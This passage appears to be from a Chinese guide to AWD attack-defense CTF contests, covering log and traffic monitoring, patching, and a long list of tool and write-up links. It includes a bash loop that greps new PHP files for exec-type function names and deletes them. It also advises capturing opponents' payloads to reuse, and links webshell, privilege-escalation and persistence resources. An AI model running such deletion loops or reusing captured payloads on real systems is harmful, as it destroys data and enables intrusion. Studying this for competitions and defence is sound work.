4
5
6
7
8
9
#!/bin/bash
while true
do
file=$(find /var/www/html/ -cmin -1 -type f -name "*.php" | xargs grep -lE 'system|passthru|exec|shell_exec|popen|proc_open|pcntl_exec')
DATE=`date '+%Y-%m-%d %H:%M'`;
echo $DATE;
echo $file | xargs rm;
sleep 5
done

日志分析

监测payload

tail -f *.log,看日志,不言而喻,抓他们的payload并利用。

中间件日志

⽐如apache,nginx
查看当前访问量前⼗的链接

1
cat /var/log/apache2/access.log |awk '{print $7}'|sort|uniq -c| sort -r|head

介绍一款日志记录脚本

https://github.com/zhuxianjin/AWD_Hunter

流量分析

流量分析有机会捕获他人的exp

tcpdump+wireshark

sudo tcpdump -s 0 -w flow.pcap port 80

标题: fig:

放到wireshark分析流量

img

img

一个分析流量包的工具

https://github.com/MaskRay/pcap-search

修补漏洞

简单来说就是学学怎么防御的,怎么去把漏洞不好,如果实在不太会,赛前就把别人写的通用waf看一遍,写一遍,差不多就懂大概了,最好还是能够自己修出来,waf可能会check不了。

AWD plus

AWD plus是AWD的升级版,给我的感觉就是不注重攻防对抗了,而是开始注重于解题。每一轮的攻击由赛事方来提供,选手只需要会修补漏洞并上传修补文件和命令和会解题就行了。

总结

简单来说AWD线下是没有外网的,所以需要的丰富的知识储备,如果没有丰富的知识储备那就多写笔记,比如sql注入的常用姿势?杀死进程的命令?nodejs写的网站怎么运维?文件上传的一些木马有没有准备?还有就是上面所说的脚本本地复现没有?会不会去了赛场跑不起来?

总结:多做笔记,多实战!讲了很多相关东西,但适合自己的才是最好的,本地能打能用的才是有用的。

一些可以学习参考的链接

bugku AWD在线打

https://ctf.bugku.com/awd.html

下面这些也要去看,主要是 能够在自己的环境里面复现出来,不要比赛了才去写脚本

http://blog.polowong.top/2021/02/25/%E8%AE%B0%E4%B8%80%E6%AC%A1%E7%BA%BF%E4%B8%8AAWD/

https://www.anquanke.com/post/id/245158#h3-25

https://gist.github.com/wupco/ee26f88656fbf36d014f49b4ac47ddc8

https://www.anquanke.com/post/id/98574#h2-4

https://kknews.cc/zh-my/news/gj4p2m8.html

https://err0r.top/article/2021ciscnawd/

https://maskray.me/blog/2015-08-12-defcon-23-ctf

https://www.xctf.org.cn/library/details/30e51c01fc5274fd74fe59fd5d71f67b0187fc3a/

https://edwardchoijc.github.io/CTF%E7%BA%BF%E4%B8%8BAWD%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93.html

http://brieflyx.me/2021/dc29-memo/

Github资源:

https://github.com/DasSecurity-HatLab/AoiAWD

https://blog.codesec.work/c5c098b97076/

https://github.com/mo-xiaoxi/AWD_CTF_Platform

- (⭐235) AWD攻防赛脚本集合: https://github.com/admintony/Prepare-for-AWD

- (⭐124) Attack-Defense-Framework: https://github.com/SniperOJ/Attack-Defense-Framework/tree/v2

- (⭐99) AWD攻防赛webshell批量利用框架: https://github.com/Ares-X/AWD-Predator-Framework

- (⭐28) awd-frame: https://github.com/xnianq/awd-frame

- (⭐4) WEB-AWD-Framework:https://github.com/dahua966/WEB-AWD-Framework

- (⭐0) AWD-helper: https://github.com/sarleon/AWD-helper

https://github.com/Ares-X/AWD-Predator-Framework AWD攻防赛webshell批量利用框架
https://github.com/admintony/Prepare-for-AWD AWD线下赛脚本集合
https://github.com/ssooking/CTFDefense CTFDefense
https://github.com/wupco/weblogger 针对ctf线下赛流量抓取(php)、真实环境流量抓取分析的工具
http://hackblog.cn/post/75.html waf
https://jingyan.baidu.com/article/d45ad148a8338769552b803a.html 安全狗安装教程
http://www.safedog.cn/website_safedog.html 安全狗linux版:

AWD经验:

https://www.cnblogs.com/Vinson404/p/13779839.html

https://blog.csdn.net/qq_42114918/article/details/82785960

https://trello.com/b/avr2o8x8/%E7%BA%BF%E4%B8%8Bawd

https://www.freebuf.com/articles/network/201222.html

- CTF线下赛AWD模式下的生存技巧: https://www.anquanke.com/post/id/84675

- CTF线下赛AWD套路小结: https://xz.aliyun.com/t/25

- AWD混战攻略: https://www.jianshu.com/p/d21b7e1bffaf

- CTF线下AWD攻防模式的准备工作及起手式: https://blog.csdn.net/like98k/article/details/80261603

- 2017强网杯线下AWD攻防总结(适合新手): https://www.t00ls.net/articles-42278.html

- AWD攻防线下生存之道: http://47.95.201.153/blog/AWD攻防线下生存之道.html

- CTF AWD模式攻防Note: https://www.cnblogs.com/nul1/p/9576386.html

https://blog.csdn.net/wy_97/article/details/78148705
http://www.sohu.com/a/211760248_99907709
https://www.anquanke.com/post/id/86984
https://www.anquanke.com/post/id/98574
https://www.anquanke.com/post/id/98653
https://www.anquanke.com/post/id/100991
https://www.anquanke.com/post/id/84675
http://tinyfisher.github.io/security/2017/10/02/CTF

http://www.freebuf.com/articles/web/118149.html

https://blog.csdn.net/like98k/article/details/80261603

权限维持:

- 不死马的删除: https://yq.aliyun.com/zt/325638

- awd攻防之kill不死马: https://www.jianshu.com/p/ba79686987da

- python中的后渗透|也可用于AWD攻防–shell管理: https://www.jianshu.com/p/2e8e7330b73e

- 从0到1掌握AWD攻防之RSA必杀: https://www.360zhijia.com/anquan/456324.html

- 资深大牛教你如何web端权限维持(内附具体步骤): http://www.sohu.com/a/127074604_472906

https://www.exploit-db.com/exploits/15620/ 漏洞
http://exploit.linuxnote.org/ 内核漏洞
https://www.cnblogs.com/linuxsec/articles/6110887.html 提权
https://www.cnblogs.com/yuhuLin/p/7027342.html 普通用户提权
http://www.freebuf.com/sectool/121847.html Linux提权?这四个脚本可以帮助你

https://blog.csdn.net/qq_36328915/article/details/79305166 kali中msf常用命令
http://www.freebuf.com/articles/5472.html w3af简单使用教程
https://www.cnblogs.com/zylq-blog/p/6694566.html 安装

http://blog.51cto.com/simeon/1981572 MySQL数据库***及漏洞利用总结
http://blog.51cto.com/diudiu/1678358 SQLmap配合一句话木马
利用Sqlmap进行Access和MySQL的注入
https://note.youdao.com/share/?id=62ecd676d896139c823591e8a8bcc708&type=note#/